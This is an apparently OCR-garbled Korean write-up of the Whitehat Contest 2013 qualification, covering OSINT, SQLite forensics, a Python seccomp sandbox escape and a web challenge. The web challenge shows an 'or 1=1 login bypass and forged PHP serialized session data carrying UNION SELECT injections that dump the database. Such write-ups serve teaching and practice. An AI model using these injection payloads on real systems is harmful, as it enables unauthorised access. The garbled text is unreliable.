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- Whitehat contest 2013 (team qualification) -

Name

(2o, 23, O|LiTl, of&4d)
Nick :20131107°| &=
Email : austinkwon2@gmail.com
Ranking : 3 rd
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CH2l 271

- Of3| =W 0|X| : http://whitehatcontest.Is-al.org

o P T IR =PN

- 249 : Raon secure (http://www.raonsecure.com/)
- T2 T YA s 2HZ0| WA (XIQIE| )
- i3 B2 A9 8E 2N NS BS

Ranking

=9 €Y e

1 CodeRed 755

2 TMP Returns 600

3 20131107°] A&E 600

4 2ZAIO| A B 251

5 Team Pure 102

6 Team HM 100

7 X|Z1a} "3} 100

8 CodeBlack 100

9 SREIEQIZ SX} 100

10 1300ting 100

(101X SIHEIAZ)
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Stalker (100 points)

Description

Stalker (100 points) [53 Team Solved]

N0 A =0 BEkH =ICE HEHSZE 2 2iE AHH SE0 =0 2= 010E2]
2L ARIOL ISR Mee 2le AL 2 silleg LR "EstdE S 0l
= EHOICIE 2 ez A7 20 L 28H S

= F=ELIEE EUE AME0le 7351 22 40 2H= 0120 =22 2l
[
=

4l i o

0 Aol HEHA = 017-4989-7777 012110 B HENRI= I D2t 22 HAlI=E 22|

ilHe =2 3|H=
AEsred ad et ool s 2lo|gi0) 12| Re SIS S FE P!
kel oz A ZHEDL M e 2SN B =00 == HUlEE S A5 H
LYoz SHEC

== AFH E2E EXotd =0l M2 ET0HLI2t M2 EZ Tk 2EIA
L= At = ZOHHH E=22 ZFAZE Al== 01 vtz =2B0] 0t 5= 2
shaizil 2 Bl SElA 22 05 O 2= AR AT €/ =0,
A=t 3 AR &85k PIEL 018 LOHHAL.
2=
=Hof ZtEel AE2|7F FOIRLCE EH O HEFFH2 FOT YES 0|80 2E2|0f L2 Al
olEs e AOICh FOT FEIZDE WXL MY AHHY =

=
1)'A|2'0|2f= O|E1} 2)'017-4989-7777'0|2f= EIMEEO|ICE. =2 H|ESH 8] AIO|EY A
z |

2t OfR 3 FEE X

O|F1t HAHME HMSHZUAK| XUCE 10A1ZH0] H= AlZh S¢F AtO|E
AMS S20t= HOt2|7F HS|X| BOL CHeS HHY SNSOIA HAMS {2 QULCH.

ERHOAM AEHMS MR ofgjet 22 ENE & & A/UCL
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ERH etz HMZ2n

777 T8 src=typd&f=realtime

017-4989-7777 Q

017-4989-7T777 =4 = 1}
217

OIQUPER anavaw
ER|E= SFEILICH A3l 017-4989-7777 £ 2 0| &
anairajumgbdaum nets HAEFZ A2

&= 3

5

tl I ES i I

M

ALAFOlEtE AYLE EQHE TN o|HES HOFRULL Y AZel LHE ESlES
O SQISHEUX|T EFot= Argtl 23EE 28 HS + Btk o8 ESO| A= ool &
A2l E HO[ASOA HMSHEJAT L] of2f StFH 22 HOIXE HE & AU

analrajuml (st 24 0 ¥ »
o B -

Sie Ho|X|o S07t2H o2 20| SEtpUA=0, ok A 22 =22 Sl 'Sigmund ASRT
7:

AN
Freud '2l= Q28 =Zst1 e =olgh 4= It
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HO|AS "2t30]" HO|X|

ck=0l

R 4 @

H W2t ZZ6H Sigmund ASRT Freud 2 HAGHH F2|AM| e 0|22 £HE
M L= W ARMD| AL D Bl= 2iie] A2 Zz0[UL0F EHE DA FEF A2

A 2 E 2 E 2250k
sE=ES 21 BE d2i0l AFAIEICK

FH""A

P
. 5

%,

A

Flag : Sigmund ASRT Freud
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serial2 (150 points)

Description

serial2 (150 points) [16 Team Solved]

Ol0IZ Dt MARIEH MZ2= FLEHO| 2DESICH
link

@ AIO|E E3 otut7t FORCH T 2H oot 22 otEHE & & UL

http://211.58.255.64:8088/webprpr/index.php?p=home

H.S.Y2

Home Photo Ta HSY Login Join

el S Yo

Hello,

Han Seung-yeon

Han Seungyeon (born on July 24, 1988 in Seoul) 5 a South Korean idol singer,
dancer, and actress. She is known for being the main vocalist of the girl group
Kara, formed by DSP Media in 2007.

Seungyeon was born on July 24, 1988. In Seoul, South Korea, She left South
Korea to study at Tenafly High Schoaol in the MNew Jersey, United States.
However, she withdrew from high school mid-course in arder to pursue a singing career. After
returning to Socuth Kores, she debuted as a singer on March 29, 2007, as 8 member of the girl
aroup Kara along with Park Gyuri, Jung Nicole and Kim Sunghee. During her time with the group,
she passed a high schoal qualification exam, the College Scholastic Abilty Test, and was accepted
by Kyung Hee University, majoring in Theater and Film.

A Qlof 7™ EXet AoIFE O HOLEY| 23 @ HO|X|E L% EO{EQUALCY.
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http://211.58.255.64:8088/webprpr/index.php?p=tohsy

] , ) ) y
H.S.Y 2 Home Photo To HSY Login Join

Hello,

To Han Seung-yeo

EraTH ot

Hz

12 28 HAZNE!

| 3. 2013-09-13 23:08:20. hellsonic
Lb= HEEEILICH

2, 2013-08-13 22;31:11. gogil
DR HIREE H L

1. 2013-09-23 21:32:41. readme

H HI”' =20| AL o HIF Z0of 7|7t ACtD FHW=
P IO

= ALk JHH —E—HIQ G MOl A=K =R 27] [0 URLO|A QX2

p =
http://211.58. 255.64:8088/Webprpr/|ndex.php?p= EVIL

H.S.Y 2 Home Photo To HSY Login Join

Hello,

Include 2 5 ®M: [7] indude{page/EVIL.inc): failed to open stream: No such file or directory
e ) US|

Include 25 ®8: [2] include{): Failed opening 'page/EVIL.inc' for inclusion
(include_path=".:/usr/share/php:/usr/share/pear’)
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HEUOL gt 22 2F HA[X|[ZF LIERGCE BA|X|0A page CIHEZ|Y UAes TESS
include = AS H1, page/[filenamelinc O ©£310] 2 HO|X|[E9Q] AAE S £ UALCT
http://211.58.255.64:8088/webprpr/page./tohsy.inc
<?
include ("db/conn.php") ;
if (isset($ SESSION['memdata']l)) {
Srowm = unserialize ($ SESSION|['memdata']);
if (!Srowm) {
echo " Session unserialize Error<br />\r\n";
echo " Dump: ".$ SESSION['memdata']."<br />\r\n"
exit;

}

Sresult = mysql query ("SELECT id FROM member WHERE idx='Srowm[idx]'
and level='Srowm[level]'");
if (!S$result) {
echo " Query Error\r\n";
exit;

}

Srows = mysqgl fetch array($result);

if (Srowm[id] != S$rows[id]) |
echo " Srows [id] : Hacking Detected\r\n";

exit;

?>
<h2><span class="blue">To Han Seung-yeon</span></h2>

<p>otSAOA Hotd H2 TS HAFMR!I</p>
Sresult = mysql query ("SELECT*FROM tohsy ORDER BY idx DESC");

for ($i=0; $i<mysqgl num rows ($result); $it++) {
Srows = mysqgl fetch array($result);
Srowsid = mysql fetch array (mysgl query ("SELECT id FROM member WHER
E idx='Srows [memidx]'"));
$id = htmlspecialchars ($rowsid[0]) ;
Stotext = str replace ("\r\n", "<br />", htmlspecialchars ($Srows[text

1))7

>
<div class="tohsy">
<div style="margin-
bottom: 5px;"><?=Srows[1dx]?>. <?=Srows[date]?>. <span class="tohsyid"><?=$

id?></span></div>
<div>
<?
if (Srows[secret] == 1) {
Srowm = unserialize ($ SESSION|['memdata']);
if ((Srows[memidx] == Srowm[idx]) || (Srowm[level] == 2)) {

-8 -
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echo " Stotext\r\n";
} else {
echo " <br />&nbsp;&nbsp;<b>H|2= QL|Ct.</b>

<br /><br />\r\n";
}

} else {
echo " Stotext\r\n";

}

>
</div>
</div>

<?

}
>

tohsyincE oIS L] levelo] 201 AHTto| H[Y 29| L4BS S + YCte
st 4 QU levelo] 291 AHE BHSALY, admino| HHES 57| me
Admin H&0| H2g AlEst7|2 $ct

http://211.58.255.64:8089/admin/

Admin Login

i 'or 1=1 #

P -

LM

Admin HO[X|2 =07t 23 glet &2 210 F= & & ALk 2 S0 M= SQL injection F
a

— [=]
OHFO| SO 9 BUHY injecionT2S WOIFT 2IQISHR 2R Ao 2% £
Ji=
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http://211.58.255.64:8089/admin/adminpr.php.bk

fresult = mysql_query("SELECT id FROM mem WHERE id="".%_POST["id"]."" AND pw="" §_POST['pw']."""J;
if (mysal_nun_rows{$result) == 00 {
echo "<script type="text/javascript">alert("2 2 &ZIH"}:history.go(-1):</script>";
Felse {
$rows = nvegl_fetch_arravifresult);
echo “<p>" . $rows[id].” 22| XY EFBENLICH. &nbsp: <a href="adminpr.php.bk >Source Backup</a»=</p>#rin<p>«

farr = get_file_list("/var/lib/php5");

for ($i=0; $i<sizeof($arr); §i++) {
$tf = fopen("/var/1ib/phps/" $arr($i], "rb");
$rown = unserialize(session_decoding(fread($ff, filesize("/var/lib/phpS/" $arr[$il)))):
folose($ff):

if ($rown[id] 1= "")
echo "&nbsp:énbspi&nbsp: " Srown[id]. "<br /ritn”;

#2|Xt2 YH/SHH  adminprphpbkEts HO[X| AATF HAEY Ys AE =2 = U2
= AL

/var/lib/php5/ O M MM DtESE &HOAM X BHEA 552 258 = A2 € & ULk

Z, /var/lib/php50f MM meo| Z=X§SCt 0| 2=0oA, Admin menul| SQL injectionOj|A| into
outfile 7|52 AF8Y = U0, stz mMAS WL = JALBZ Jvar/lib/php5 20| K27t
Hote MAmS HE0FD O Moz @ HOolX] % MAS v =8 Ao tie A
EE Jhsoitte HE ¥ 4 ALk

HHEQ 342 Qo MMTY WES LOIoF 3t2 2 loging XZ|ot= HO|X|Q] &2 =0l
ULt

http://211.58.255.64:8088/webprpr/page/loginprc.inc

$result = mysql_guery("SELECT idw,id,pw, level FHOM member WHEFE id="$sid" &ND pw="$spy'");

if (@nysql _nun_rows($result) = 0) 4
§_5ERSION] mendata’] = wb_convert_encoding(serial ize(mysql _fetch_array($result, WYSOL_ASSOC)), “ASCII™, "UTF-8");
echo "<script type="test/javascript zalert('22% Zt2");lacat ion. replacel index.php')i</script>";

Bxit;
Felse |
echo "<script type="test/iavascript =alert(’ 2220 41 };history.go(-1);</scripts";
Buit;
}
T
210 o= B2 EH F2| ZIE serialize2 QI3Y =10 memdata MM B0 E= A
g £ % At

rootfubuntu

mendata 1: - o qurwn7ld";3:5:"level";i:2;)";

o
Q
=)

El
ie)
Pal
1o
=
ox
mjo
|
i}
HU
=
u
els
>z
=
rx
mjo
st
ro
el
HT
rg
40
o
my!
rlo
1
Pl
i
N
Pl
rir
P
mjo
MU




CTF 22X Z0|E 1A [2013 WHITEHAT CONTEST (TEAM QUALIFICATION)]

+ otk o[z

—

0k

Moz MM otes 4458 AE

mjo
mjo

HEZ

T —

ot

+ Ut

memdatals:83:"a:4:{s:3:"idx";i:1;s:2:"id";s:7:"wnrdjfk";s:2:"pw";s:8:"gurwn714";s:5:"level";i:2;}";

}1.E;.§T 2 ; i oto l A i;g@“ i

Hello, wnrdjfk

: Hacking Detacted

Mamrol yas
memdatals:83:"a:4:{s:3:"idx";i:1;s:2:"id";s:7:"wnrdjfk";s:2:"pw";s:8:"gurwn714";s:5:"level ;i:2;}"; 2 HF O
levelS 22 HIRL M MZ3HX|D

= SSUXU SHZAE EHARE MO HzZ HE =25 AS = AU

http://211.58.255.64:8088/webprpr/page/tohsy.inc

it (isset($_SESSIONL memdata’])) 1
frown = unserial ize($_SESSION[ memdata’]);

if (1rown) 4
echo ” Session unserialize Error<br />#ri#n”;
echo " Dump:  $_SESSION[ memdata’]."<br />#riin”;
exit;

t

fresult = mysal_guery("SELECT id FROM member WHERE idw="$rowm[id«]" and level="$rowm[level] "J;:
if (1$result) {

echo "

Query Errorttrin”;
exit;

h

frows = mysql_fetch_array($result]);

if ($rownlid] != Srows[id]) {

echo $rows[id] : Hacking Detectedirin”:
exit;

b

HI2 tohsy.inco| O] 22 OjZO0|Ct. HMo &

Rl idxQt level0f Zt= OO|C|E DBO|AN ZE3|
SiA 1 ofo|C|7t MMo| ofo|C|et CtE2M 2| Zutet Hacking DetectedE £33ICt =7 &
oLt MMOoN idx F&0] SQL Injection 122 HoM™ 3|7t JtsdiChs AS Y0 Mo
SZACH

-11 -
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memdatals:112:"a:4:{s:3:"idx";s:25:"#' union select

Wwnrdjfkw'#";s:2:"id";s:7:"wnrdjfk";s:2:"pw";s:8:"gurwn714";s:5:"level";i:2;}";

3. 2013-09-13 23:08:20. hellsonic
L= gk LIk

2. 2013-09-13 22:31:11. gogil

OlH HIZZ2& :d=Lh.!

1. 2013-09-23 21:32:41. readme

HE, 07 Bl

DB FIHEMNZ

A% SHAEL HOo| gtk ook 22| H2 ol &% Jas AT, DBE FMEZ:s O o
N dbOiM A= 2E HOEM ZEE FIMCEL X2 7|8 HE += RIUC

memdata|s:158:"a:4:{s:3:"idx";s:7 1:"#' union select schema_name from

information_schema.schemata limit 1,1#";s:2:"id";s:7:"wnrdjfk";s:2:"pw";s:8:"gurwn714";s:5:"level";i:2;}

k3y 15 h3r3 : Hacking Detected

J2{ctrt ot DBO| = ZAO| OFE7? Bt o|Z20| H7|E A1
Bt S FMBICHIE information_schema.schemata 2| schema_name& X3|5lH CIE DB MEE

tME =+ Qb= AS LULE Z2it= 9f 28 Z0k BiE2d 717F 07] Uthe AS EHELH

memdatals:144:"a:4:{s:3:"idx";s:57:"#' union select k3yk3y from k3y_1s_h3r3.k3yk3y limit
0,1#";5:2:"id";s:7:"wnrdjfk";s:2:"pw";s:8:"gurwn714";s:5:"level";i:2;}

48882168731 efe563e073fca374e439a : Hacking Detected

-12 -
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HOl= ot Zd T= ot = =2etM s ¥ + AUANUCL

Flag : 488821687alefe563e073fca374e439a

- 13 -
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Suspect Page(150 points)

Description
Suspect Page(150 points) [24 Team Solved]
Suspect Block
S2|Zt Anncc 8| PCE 24old &= 280t =1 2= HIZ0| E8= S0|st e E
AL
0] IFE = S8l Annce= SR E FEH HEE GIOIE &HHE S6l =20 22T
1 ak=dl
SIS DO A A= GIOIE 2 £&F B0 Al 2122 290 S0 Annce 2t M S0 AL
Gt= SWE LOHIH Al
SHEA  mds(MMDD) == At
MM = First Deleted Page Index
DD = Second Deleted Page Index
-CIE3| UEEN BRE 2 2o REE EF FE M2l -
=

23 st Jj7t FO{RCL A0 MM Suspect Block.db.zipO|2t= zip Y=MYUS CiREIS
S

_ MACOSX 2013-09-14 2= o E0
%] Suspect_Block.db 2013-08-26 2= Data Base File 148KB
sqlite db THAOIA XX F CO|E{7} EBHEl T O|X|Q QIHAZ HOFA (Md5(MMDD) MM :

Hem X% HO|E, DD :

TR K| 9Z O0|E) O|ZA 3= oF

AE
—=
!
o}
—_

Ct.

- 14 -
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http://www.sqglite.org/fileformat.html
T dUd5E neduel

‘tes of the database file comprise the database file header. The database file header is divided into fields as shown by the table
in the database file header are stored with the must significant byte first (big-endian}.

Database Header Format

Offset||Size Description

0 16 ||[The header string: "SQLite format 34000"

16 2 |The database page size in bytes. Must be a power of two between 512 and 32768 inclusive, or the value 1
representing a page size of 65536.

18 1 ||File format write version. 1 for legacy; 2 for WAL.

19 1 ||File format read version. 1 for legacy; 2 for WAL.

20 1 ||Bytes of unused "reserved" space at the end of each page. Usually 0.

21 1 |[Maximum embedded payload fraction. Must be 64.

22 1 |[Minimum embedded payload fraction. Must be 32.

23 1 ||Leaf payload fraction. Must be 32.

24 4 |IFile change counter.

28 4 |ISize of the database file in pages. The "in-header database size".

32 4 |IlPage number of the first freelist trunk page.

-—

T2 sqlite 20 i HMBHHE o2t Ail2ES WOl #2 &+ AUCL M7 HOIX|E 23

O| Z|O{/USL|t sqlitee] HO|X|] 22 SHNHCZE AMIHEM offset 16 T 0x10 o= H{O|X| At
O|=7} HM3olCt= ZHE & %= QUL hxd2 AIHEX}

SQLite Databases Header

oy HxD - [C3WUserstehMungsuldDesktop®whitehat BErEgEwsuspect Block dbwsuspect Block.di]

DR mEbeR) BENE) AET|(S) EPF(V) EAi(A) FIEF AEOQ O ER S 7
| == [l sl s =v 16 [=]| arist [=]] 18 === =]
58] Suspect Block.db |

&€ O7 OB 09 OA OB OC OD OE OF
0 66 6F 72 6D 61 74 20 33 00 SQ@Lite format 3.
0 70 DO 0O DO ‘95 00 DO Do 25 ... .. ._=__.%
O 00 OO0 00 00 5F OO0 00 00 01 .« cvucceann-

Offset (h) 00 01 02 O3 04 05 O
0D0DOD0O 53 51 4C €9 74 65 2
00000010 01 01 00 40 2
00000020 OO0 OO0 OO0 OO0 ©00 00 ©

AF20| LIRCHA|Z] 0x100)|= ARO|=7} &G QULCt S I|O|X|E 0x10002| ApO|=

2 o A O
= & & AUChL

i

ArgBHCHE 2

SQLite Page
|| bk 'vVINNCD 00 00 00 04 OF BB 00 OF F2 OF D4 OF

|| 00002000 ba 00 00 00 04 OF B2 00 OF EO OF C4 OF
|| 00003000 pD 00 00 0O 01 OF 88 DO OF 88 00 OO0 00 00 00 00

2MZ oM 0x10002HE ZAMOICE O|Soi=EH 2t HOo|X|o| SEHME £O0|= HIOIHE &
Ag + ALk HOIX HEH FE= ok 28S B FHASHRAL

- 15 -
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http://forensicinsight.org/wp-content/uploads/2012/02/INSIGHT-SQLite-Record-Recovery.pdf

Page Structure

= Internal Page header

| Page flag Number of record |

00000400

0000041

000420 |

03 EE 03 E2 03 DC
offset of first block of free space

ES

|05 00 00 00 50 D1 D6 0O 00 00 1IF C9|

Josz

Offset of the first bytes of the record |

Page number of right most child-page

CE 03 C7 03

Num of fragmented free bytes

co d.0.8.U0.0.1.C.

C R

. H, .o

00000430 03 81 03 7A 03

73 03 6C 03 &5

03 SE 03 57 03

S0 s Z.S. 1.8, W.

= Leaf Page header

rst bytes of the record |

03 45 03 2B 03 10

00000810 02 Fe-~2 DB 02 CI1I 02 47 —Z 2 01 F8 01 DD
0 [ offset of first block of free space |00 [ Num of fragmented free bytes |

30 00 00 00 0O 00 00 00 00 OO0 00 00 00 00 00 00 00O

forensicinsight.org

Page 8/ 22

. . . . — "
Forensic insight 0| A{ SQLite-Record-Recovery 2t= 2ME EH 2 HO|X| §|EHo| 2~3HW H}
— 1T o — o AL
O|EE freespace| 2ZAMS LIEtHL = As & =+ ALK O] SHO| 00| OfL|H AH|E HO|H
— Lo
7t ot EE 7HSOCh
Oxygen SQLite Viewer
[ Suspect Blockdb - Oxygen Forensic SQLite Viewsr l = ﬁ_
File Tools Service Help
| Propen | | [g]emert (=Pt~ | cptons ) e 9] Recaver deleted recards
2 | Tables 77 Tebledata | & Blocks containing deleted dotm List Sroup ¢ »
BT downloads (1/0) £ | id | fitle visit_count Vaie
BT cownloads url chans (2/0) 230 [ 12y W Peinad con forma de I <TRIALSRKKKRK OGO ... 1 + || original value
BT keyword search terms (2/2) 231 2., it ffaww youtube,co<TRIAL >XKXXXXKKKXXKXK P Trangas indianas Escola de cab <TRIAL >KXKXXOKKKX,.. | 1 ]
BT meta (4/0) 232 2., | http:ffwww, youtube, co<TRIAL >XXX000CO000000 I PENTEADO MOICANG - O MESTRE DOATRIAL>X®K... 1 (] UTF-8
BB segment usage (3] 233 2. | hittp:ffwww, youtube.co<TRIAL »XEXKXKXXXKKXXX P Peinado Para Boda Boho Chic Romantico SemiRecog<... | 1 0 Unicode (UTF-16..
BT seoments (370) 234 2. | hitip ffwww, youtube, co < TRIAL > KXXXKKXXXKKKKX P Caansfiian np-ecka Ha cpeanve Son0 <TRIALXAX.., 1 0 Unicode (UTF-16..
n- s (250/4) 235 2., hittpsffwww, youtube,co<TRIAL >XXXXXXKKKXXKKK P Easy Messy Lipdo Ha<TRIAL >KXXRX0NEKKK 1 ]
BT vistsource (0/0) 236 2. http:/fwww, youtube, co<TRIAL >X000000000000K P CTN 21 <TRIAL XX 1 o OLE Automation ..
BT s (770 237 2. hitp:ffwww, youtube.co<TRIAL XXX P Cambodian star-Interviewing with Khme <TRIALSXX... | 1 0 Unix Enoch Time
= 238 2. hitp:ffwww, youtube. co <TRIAL >XXXXXXXXXXXXKX W Preap Sovath singing Khmer Pop hit sang on <TRIAL>... 1 0 Unix Epoch Time.
239 2., hitipsffaww, youtube,co<TRIAL >XXXXXXKKKXXKXK P Soeur Sotheara singing & Khmer song Vil vign heuy<T... 1 ] 05 X Epoch Time
240 2., http:/fwww, youtube, co<TRIAL >X0000000000000K I sokun Nisa singing khmer classic slow son<TRIAL>XX... | 1 0 BlackBerry Time
241 2. hitp:ffwww, youtube.co<TRIAL SXXGXRKY P Preap Sovath singing a slow song "Oan Toev Choss<T... 1 0 Chrome Time
242 2| hitip ffwww, youtube, co < TRIAL > XXXXKKXXXKKKKX P Sofun Nisa singing “5rah Muy Keoy” at<TRIALSRKKKK... | 1 0 i
243 2., hittpsffwww, youtube,co<TRIAL >XXXXXXKKKXXKKK P Sokun Nisa singing  Cha Cha ‘Sralanh<TRIALSXKKKX,.. | 1 ] Unsigned-8 >
234 2. http:/fwww, youtube, co<TRIAL >X000000000000K I Rin Saveth & Sokun hisa USA <TRIAL>X0O000M00XX... 1 o Signed-3
245 2. hitp:ffwww, youtube.co<TRIAL XXX You<TRIAL> 1 0 Unsigned-16
246 2. hittp:ffwww, youtbe, co< TRIAL 2 XXEXCOCO00MK P 1953 2EE DFR 2 E <TRIAL>XXKRXXEY 2 0 Signed-16
247 2o hittpif e, youtube, co < TRIAL > KEXXKEXOOXX P 1993 ZEE D2 E <TRIALZREXXXXKK 1 0 Ursigned-32
298 2. http:ffwww, youtube, co<TRIAL >XXXXXXXKXXXXKE P ZH2 02 EE 1993 211 100-3 <TRIALXXKKOKXN,., | 1 o Signed-32
249 2. hittp:ffwww, youtube. co<TRIAL >00CO000XK0 P ER0REE FEE F<TRIALO0COXKK 1 (] Signed-64
250 2. hittp:ffwww, youtube.co<TRIAL SXXXXXKXXXKXKKX Pk P2 AOHISE WA 08 TRIALKKGNE, . 1 ]
251 M 0 http:ffwww, youtube,comjresultssearch_<TRIAL>XXKX...  saturday nigh <TRIAL >XXKKXXX 2 0 [ 'singie
252 W 0 htps/<TRIAL> utube, com resul <TRIAL »KXXKXXXX 1<TR<TRL. 97 |2l Double
253 m g <TRIAL »XX000KX00K [
254 m g <TRIAL>SO00ONO0NK = | Boencoded
ol il | 4 Basef4

Trizl access, 28 days left File size: 148 KB Tables: @

File type: sqlite

UAO0| hxdZE freespaceE AOIA EFE

s7lole HF

16 -

Table ftems: 254 SHA-2 Hash: f44725§41dd3db8265430b8dc0c473bdadf50d4b30dbd18aead00echicelblba

2XeiA E0| ULt HABIEL| Oxygen
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SQLite Viewergt= OFF £2 E0| JUQULCt Oxygen SQLite Viewerl| freespace YA=2 ZOtA
AHE CIOIHE SFAAHAFE 7IsS 0|85tH AAE CIO[E 7t O™ ZiQIX| & = UAS AO0|Ch

Oxygen SQLite Viewer

T Suspect Blockdb — Oxygen Forensic SOpbite A

Eile Tocols Service Help

!:%}'ﬂpen | i;lilE}cpcrrt .-_'__F;—‘__‘:_:._.iF’r'int - | QE:IJC

] E ™M  downloads (1/0)
[ E M  downloads_url_chains  {2,0)
: E T keyvword_ _search__terms  {(2/2)
| EEE T meta (4/0)
B ™ segment usage (300
| E M  segments {(300)
| (5= urls  (250/9)

Em wisit_source {0707
= BT visits (177/0)

HOIEE2 EH MIALE/ANEGO|H) Aoz LIEF D U= keyword_serach_terms 2 urls
HOIS0AM A E HIOIH7F AZSE & = AUCH

Oxygen SQLite Viewer

# .;;; & | keyword_id url_id loweer_term term Offset

1 33 1<TR... - O] <TRIAL> O] A <TRIAL >

2 2 1<TR... | mac sqlite vi<TRIAL =X} mac sglite vi<TRIAL =X}

3 w33 1<TR..., saturday <TRIAL >XX 40<TRIAL>
4 m g 33 ysaturday <TRIAL =XX “saturday<TRIAL =XX 40<TRIAL =
51 T g ittp:/fww, youtube.com/results?search_<TRIAL =KX, UM‘RIAL):&W' : 2 0
52 T o htip: [<TRIAL> (itube, comjresul < TRIAL X000 1<TR<TRL.. 97
m ¥ I oo <TRIAL 300000000000

M MT o CTRIAL 000K

Ztz+ keyword_serach_terms@} urls Of| Al AtH| =l C|O|E{E0|C}t. AMK|=l OB &= MMo=z AIH
RUC}. Trial {7 O[2t MCHZE BEA|E CtiFX| T hxdOfA| ZHQl0| 7hs3|Ct.

-17 -
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Deleted_Data

DOODSFTOD 01 02 41 41 02 00 C5 6D 61 €3 20 73 71 &C 69 T4 . .AL, .Emac sgli
ODODSFBO0 65 20 76 €9 &5 77 65 72 20 66 T2 65 65 77 61 72 e viewer freewar
DDODSFR0 65 6D 61 €3 20 73 71 6C 69 T4 &5 20 76 €9 €5 77 emac sglite view
OOODSFR0 &5 72 20 &6 72 €5 &5 77 61 T2 &5 20 02 05 01 02 er freeware
Q0D0OSFBO 25 25 21 00 84 EB AF B8 EC 93 BO EC 97 90 EC 9D 23!,.& ,i"°i—.i.
0O00ODSEFCO B4 EB AF BB EC 93 BO EC 97 90 EC 89D B4 00 00 QO i e gL T S
DOODSFDO 33 01 37 37 21 79 73 61 T4 75 72 &4 61 79 20 6E 3.77'ysaturday n
000D9FEQ &9 &7 68 74 20 EC Be BC EC 9C AB 73 61 74 75 72 ight itEie satur
0000D9FFD 64 €1 79 20 &6E €9 &7 68 74 20 EC 86 BC EC 9C AE day night itEice”
00002000 pD OF CB 00 03 OF 95 00 OF E5 OF 95 OF BO 00 00 [ .E...-..§.-.°.
QODIBCAD 01 D1 06 PL 01 68 7% 74 J0 3B 2F ZF OT 7T U7 ZE ... http:/ /W,
ODD1BCBO [72 6F 75 74 75 62 65 2E €3 6F &D 2F 72 65 T3 T4  V{siiisislel- B etaiit a1
0001BCCO [6C 74 73 3F 73 65 61 72 63 68 5F T1 75 65 T2 T8 IRsRElLhadfis ey
QDD1BCDD PBD 73 &1 T4 75 72 €4 &1 78 2B &E &9 &7 68 T4 2B saturday+night
QO001BCED P5 45 43 25 38 3§ 25 38 43 25 45 43 25 30 43 25 aNsc i ulec e 1-le-
OOD1BCFD @BL 28 73 6L 74 15 72 62 &1 78 20 6K &8 &7 &8 74 fsaturday night
0001EDOD POEC 86 BC EC S5C A8 20 /20 2058 §F 75 54 75 &2 itEie” - YouTub)
0001BD10 |65 02 00 00 2E 42 &9 2D F8 1A 2F 00 00 81 17 T7H RS- N

Keyword_search_terms9| AtK|=l CO|E= OxA0000 =SHJAD urls oA AHE HO|EHe
OXLCO00 Of 8f Qe HE U 4 ULk

= 0xA -> 10

0x1C -> 28 0|22 10285 md5& HH=zA|Zl ZrO| B0l T|ZILCY.

Flag : 3806734b256c27e41ec2c6bffa26d9e7

- 18 -
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PyBox (200 points)

Description

PyBox (200 points) [11 Team Solved]

PyBox 7z
Server
server2
Server3

4700 YA FOIHCE @4 K WA PyBox7zE SYSH 7z YSWAS W & Ut
PyBox.7z
, data 2013-0%-15 2F.. o9
| pybox 2013-09-15 2F.. oY =
L] .project 2013-09-11 2% ... PROJECT me 1KB
|| .pydevproject 2013-09-11 @F ... PYDEVPROJECT ... 1KE
= main.py 2013-09-12 2F ... Python File 1KE

- 19 -
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http ://54.250.142.114: 8088/#home

Simulator

Your code here

| print "hello"

Running. ..
hello

AFSAIZE SHAH Python scriptg ATB{OIA ABAIZFT| G20 282 AHHYNS Maots A3
YES IOl MWAFEAKD, LIS ZWE 2 4 Q0 FOIT AX0N AIYES MY
A7l 228 50 2As|=oLLt

pybox/Eval.py
def myExec {data)
tnp = '/tmp/is' % randStr{20)

pid = os.fork()

if pid = 0O
=y=.stdout open{tmp, 'wb'}

sys.stderr = sys.stdout

print '"Eunning..."
protl.zet secconp (Troe)
try : -

exec data

except &
pass

=sys=s.stdout.flush ()
sys.exitc{0)

?l ZEOM = F= UXOl AEXOA YH H2 AJZYEE exec2 S| HOf
set_seccompit= F=E HHA|ZICL set_seccompe= T30 7HE Tt Seccompits MEE}
AE MEA|F|E= T40|Ct Seccompl| SAHQIE|= ZHCHSICE.

- 20 -
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Description about prctl.set_seccomp

pretl, set_seccompl moge)
Set the secure computing mode for the calling thread. In the current implementation, mode must be True. After the secure computing mode has
been set 10 True, the only system calls that the thread iz permitted to make are read{), write(), _exit()., and sigreturn{). Other system calls
result in the delivery of a SIBKILL signal. Secure computing mode is useful for number—crunching applications that may need to execute

untrusted byte code, perhaps obtained by reading from a pipe or socket. This operation iz only available if the kemel iz configured with
CONF 16_SECCOMP enabled.

2o 2o LIRFE0| read, write, exit, sigreturnO|2t= 47Q| system callit S = 7tssH &
OSEMN CIE 22 0 BFAO|Ct. [2tM execve system callg Q2 St= system@ta=Lt

e AHE
— o 1 — _—
open system call ZQZ St= open, fopenS9| E+E AI2Y = QL E Nt QLT

=

o mA= HX| Rspa, Y FYS LA Agol7| 2ol BES| Stafsict x|
Bt seccomp?| 7|5& CiA| ot HI{ET open
As: & & ULt F, read?t writ

e
solct 08 FZo| 2= AIFoAM Z2MAs OfF Ef%‘% EOolE ’é*EHo._'XI 2t olo 2 A}

Is -1 /proc/[pid]/fd/

(e
=]

memod memod €

[STR—

1]

L % 2 e

memod

w
[

memod memod 6

w

memod memod &

w
e

memod memod 6 ->» socket: [36533

[ L I L T L LI L 1]
[ BT FUR S I

Lo
(=]

memod memod 6

> fwar/www/pvb

AT HolE

root@ubuntu:/var/www# cat ./pybox/sess/150f7f0e9370al8ccclb857298ecaalch
{"userdata": "users/c20ad4d76fe9775%9aa27a0c99pff6710/data", "logindate":
"2013-09-17 12:52:23.514780", "email"™: "12"}

oM & &= U= emaildt logindata, 12|11 userdatagts B HOZE O[St HE7F XYL

O ULt

pybox/Menu.py

-21 -
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for i, filePath in enumerate(liscFiles{sessions["userdaca']l})

Ery.
fileName = os.path.basename {(filePath)

o
L}

ret.append {"<tr><tdsEd</ cdy<ody<
except
pass

ret.append{'</tbody>")
ret.append{'</table>"})

9| 132 =9 userdata Z20| Y T 2 Lgsts 7R2 2 4+ e, ol 782 B
HOIX| Bl B AFSRZE XFB scripto y Scripts B0 AL EICE ZF
My Scripts D2 Sof userdata’t X1 20| s TDASS 2 4 9UCh Ol M MTHUO

=
userdata 5 RStz 22 HO{AL, My Scripts W70 SO0{7tE, MUZLAES EAHL HOf

e

Il

My Scripts

No Name Date

0 sample Tue Sep 17 12:52:22 2013

O|H| Python #+E& BHE0 MM TS| userdata A=E HHYFEC|

Mumeo E0{E HOlH

Overwrite session file data to

{"userdata": "./", "logindate": "2013-09-14 15:57:05.412807", "email":
